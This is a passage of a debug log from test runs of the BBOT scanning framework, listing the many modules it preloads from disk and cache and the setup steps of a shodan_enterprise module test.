18:08:23,881 [DEBUG] bbot.module_loader modules.py:154 Preloading badsecrets from disk +2026-02-27 18:08:23,883 [DEBUG] bbot.module_loader modules.py:154 Preloading myssl from disk +2026-02-27 18:08:23,884 [DEBUG] bbot.module_loader modules.py:154 Preloading github_workflows from disk +2026-02-27 18:08:23,886 [DEBUG] bbot.module_loader modules.py:154 Preloading dotnetnuke from disk +2026-02-27 18:08:23,888 [DEBUG] bbot.module_loader modules.py:154 Preloading smuggler from disk +2026-02-27 18:08:23,889 [DEBUG] bbot.module_loader modules.py:154 Preloading robots from disk +2026-02-27 18:08:23,890 [DEBUG] bbot.module_loader modules.py:154 Preloading anubisdb from disk +2026-02-27 18:08:23,891 [DEBUG] bbot.module_loader modules.py:154 Preloading oauth from disk +2026-02-27 18:08:23,893 [DEBUG] bbot.module_loader modules.py:154 Preloading github_org from disk +2026-02-27 18:08:23,896 [DEBUG] bbot.module_loader modules.py:154 Preloading portfilter from disk +2026-02-27 18:08:23,897 [DEBUG] bbot.module_loader modules.py:154 Preloading sitedossier from disk +2026-02-27 18:08:23,898 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-02-27 18:08:23,898 [DEBUG] bbot.module_loader modules.py:154 Preloading legba from disk +2026-02-27 18:08:28,607 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 18:08:28,607 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 18:08:28,608 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-02-27 18:08:28,743 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-02-27 18:08:29,391 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-02-27 18:08:29,392 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-02-27 18:08:29,392 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-02-27 18:08:29,392 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-02-27 18:08:29,603 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-02-27 18:08:29,604 [DEBUG] bbot base.py:103 Mocking DNS +2026-02-27 18:08:29,720 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-02-27 18:08:30,113 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-02-27 18:08:30,115 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-02-27 18:09:15,415 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-02-27 18:09:15,424 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-02-27 18:09:15,425 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-02-27 18:09:15,425 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-02-27 18:09:15,427 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-02-27 18:09:15,427 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-02-27 18:09:15,428 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-02-27 18:09:15,429 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-02-27 18:09:15,429 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-02-27 18:09:15,430 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-02-27 18:09:15,431 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-02-27 18:09:15,432 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-02-27 18:09:15,433 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-02-27 18:09:15,434 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-02-27 18:09:15,437 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-02-27 18:09:15,438 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-02-27 18:09:15,439 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-02-27 18:09:15,440 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-02-27 18:09:15,441 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-02-27 18:09:15,441 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-02-27 18:09:15,443 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-02-27 18:09:15,443 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-02-27 18:09:15,444 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-02-27 18:09:15,444 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-02-27 18:09:15,445 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-02-27 18:09:15,445 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-02-27 18:09:15,446 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-02-27 18:09:15,447 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-02-27 18:09:15,448 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-02-27 18:09:15,448 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-02-27 18:09:15,448 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-02-27 18:09:15,449 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-02-27 18:09:15,450 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-02-27 18:09:15,451 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-02-27 18:09:15,451 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-02-27 18:09:15,452 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-02-27 18:09:15,453 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-02-27 18:09:15,453 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-02-27 18:09:15,454 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-02-27 18:09:15,454 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-02-27 18:09:15,455 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-02-27 18:09:15,455 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-02-27 18:09:15,456 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-02-27 18:09:15,456 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-02-27 18:09:15,460 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-02-27 18:09:15,461 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-02-27 18:09:15,462 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-02-27 18:09:15,463 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-02-27 18:09:15,464 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-02-27 18:09:15,464 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-02-27 18:09:15,465 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-02-27 18:09:15,466 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-02-27 18:09:15,466 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-02-27 18:09:15,467 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-02-27 18:09:15,468 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-02-27 18:09:15,468 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-02-27 18:09:15,469 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-02-27 18:09:15,470 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-02-27 18:09:15,471 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-02-27 18:09:15,472 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-02-27 18:09:15,472 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-02-27 18:09:15,473 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-02-27 18:09:15,473 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-02-27 18:09:15,474 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-02-27 18:09:15,475 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-02-27 18:09:15,475 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-02-27 18:09:15,476 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-02-27 18:09:15,477 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-02-27 18:09:15,477 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-02-27 18:09:15,478 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-02-27 18:09:15,484 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-02-27 18:09:15,484 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-02-27 18:09:15,485 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-02-27 18:09:15,486 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-02-27 18:09:15,487 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-02-27 18:09:15,488 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-02-27 18:09:15,489 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-02-27 18:09:15,489 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-02-27 18:09:15,490 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-02-27 18:09:15,490 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-02-27 18:09:15,492 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-02-27 18:09:15,492 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-02-27 18:09:15,493 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-02-27 18:09:15,494 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-02-27 18:09:15,494 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-02-27 18:09:15,495 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-02-27 18:09:15,496 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-02-27 18:09:15,496 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-02-27 18:09:15,497 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-02-27 18:09:15,498 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-02-27 18:09:15,498 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-02-27 18:09:15,499 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-02-27 18:09:15,500 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-02-27 18:09:15,500 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-02-27 18:09:15,501 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-02-27 18:09:15,502 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-02-27 18:09:15,502 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-02-27 18:09:15,504 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-02-27 18:09:15,504 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-02-27 18:09:15,505 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-02-27 18:09:15,506 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-02-27 18:09:15,506 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-02-27 18:09:15,507 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-02-27 18:09:15,507 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-02-27 18:09:15,508 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-02-27 18:09:15,508 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-02-27 18:09:15,509 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-02-27 18:09:15,509 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-02-27 18:09:15,510 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-02-27 18:09:15,511 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-02-27 18:09:15,512 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-02-27 18:09:15,512 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-02-27 18:09:15,513 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-02-27 18:09:15,514 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-02-27 18:09:15,514 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-02-27 18:09:15,515 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-02-27 18:09:15,515 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-02-27 18:09:15,516 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-02-27 18:09:15,516 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-02-27 18:09:15,517 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-02-27 18:09:15,518 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-02-27 18:09:15,518 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-02-27 18:09:15,519 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-02-27 18:09:15,520 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-02-27 18:09:15,520 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-02-27 18:09:15,521 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-02-27 18:09:15,521 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-02-27 18:09:15,522 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-02-27 18:09:15,522 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-02-27 18:09:15,523 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-02-27 18:09:15,523 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-02-27 18:09:15,524 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-02-27 18:09:15,525 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-02-27 18:09:15,526 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-02-27 18:09:15,526 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-02-27 18:09:15,527 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-02-27 18:09:15,527 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-02-27 18:09:15,528 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-02-27 18:09:15,528 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-02-27 18:09:15,529 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-02-27 18:09:15,530 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-02-27 18:09:15,530 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-02-27 18:09:15,531 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-02-27 18:09:15,531 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-02-27 18:09:15,532 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-02-27 18:09:15,532 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-02-27 18:09:15,533 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-02-27 18:09:15,534 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-02-27 18:09:15,534 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-02-27 18:09:15,534 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-02-27 18:09:15,535 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-02-27 18:09:15,536 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-02-27 18:09:15,537 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-02-27 18:09:15,538 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-02-27 18:09:15,539 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-02-27 18:09:15,539 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-02-27 18:09:15,540 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-02-27 18:09:15,541 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-02-27 18:09:15,542 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-02-27 18:09:15,543 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-02-27 18:09:15,543 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-02-27 18:09:15,544 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-02-27 18:09:15,545 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-02-27 18:09:15,545 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-02-27 18:09:15,546 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-02-27 18:09:15,547 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-02-27 18:09:15,547 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-02-27 18:09:15,548 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-02-27 18:09:15,549 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-02-27 18:09:15,550 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-02-27 18:09:16,666 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 18:09:16,667 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 18:09:16,667 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-02-27 18:09:16,803 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-02-27 18:09:17,422 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-02-27 18:09:17,438 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-02-27 18:09:17,440 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-02-27 18:09:17,460 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-02-27 18:09:17,696 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-02-27 18:09:17,697 [DEBUG] bbot base.py:103 Mocking DNS +2026-02-27 18:09:17,806 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-02-27 18:09:18,192 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-02-27 18:09:18,193 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-02-27 18:09:42,772 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-02-27 18:09:42,781 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-02-27 18:09:42,782 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-02-27 18:09:42,783 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-02-27 18:09:42,783 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-02-27 18:09:42,784 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-02-27 18:09:42,785 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-02-27 18:09:42,785 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-02-27 18:09:42,786 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-02-27 18:09:42,786 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-02-27 18:09:42,787 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-02-27 18:09:42,787 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-02-27 18:09:42,788 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-02-27 18:09:42,789 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-02-27 18:09:42,790 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-02-27 18:09:42,790 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-02-27 18:09:42,791 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-02-27 18:09:42,791 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-02-27 18:09:42,792 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-02-27 18:09:42,793 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-02-27 18:09:42,793 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-02-27 18:09:42,794 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-02-27 18:09:42,798 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-02-27 18:09:42,799 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-02-27 18:09:42,799 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-02-27 18:09:42,800 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-02-27 18:09:42,801 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-02-27 18:09:42,801 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-02-27 18:09:42,802 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-02-27 18:09:42,803 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-02-27 18:09:42,804 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-02-27 18:09:42,804 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-02-27 18:09:42,805 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-02-27 18:09:42,805 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-02-27 18:09:42,806 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-02-27 18:09:42,807 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-02-27 18:09:42,807 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-02-27 18:09:42,808 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-02-27 18:09:42,809 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-02-27 18:09:42,809 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-02-27 18:09:42,810 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-02-27 18:09:42,810 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-02-27 18:09:42,811 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-02-27 18:09:42,811 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-02-27 18:09:42,812 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-02-27 18:09:42,813 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-02-27 18:09:42,813 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-02-27 18:09:42,814 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-02-27 18:09:42,819 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-02-27 18:09:42,820 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-02-27 18:09:42,821 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-02-27 18:09:42,822 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-02-27 18:09:42,823 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-02-27 18:09:42,824 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-02-27 18:09:42,825 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-02-27 18:09:42,826 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-02-27 18:09:42,826 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-02-27 18:09:42,827 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-02-27 18:09:42,828 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-02-27 18:09:42,829 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-02-27 18:09:42,830 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-02-27 18:09:42,830 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-02-27 18:09:42,831 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-02-27 18:09:42,832 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-02-27 18:09:42,833 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-02-27 18:09:42,833 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-02-27 18:09:42,834 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-02-27 18:09:42,835 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-02-27 18:09:42,835 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-02-27 18:09:42,836 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-02-27 18:09:42,836 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-02-27 18:09:42,837 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-02-27 18:09:42,838 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-02-27 18:09:42,838 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-02-27 18:09:42,839 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-02-27 18:09:42,840 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-02-27 18:09:42,841 [DEBUG] 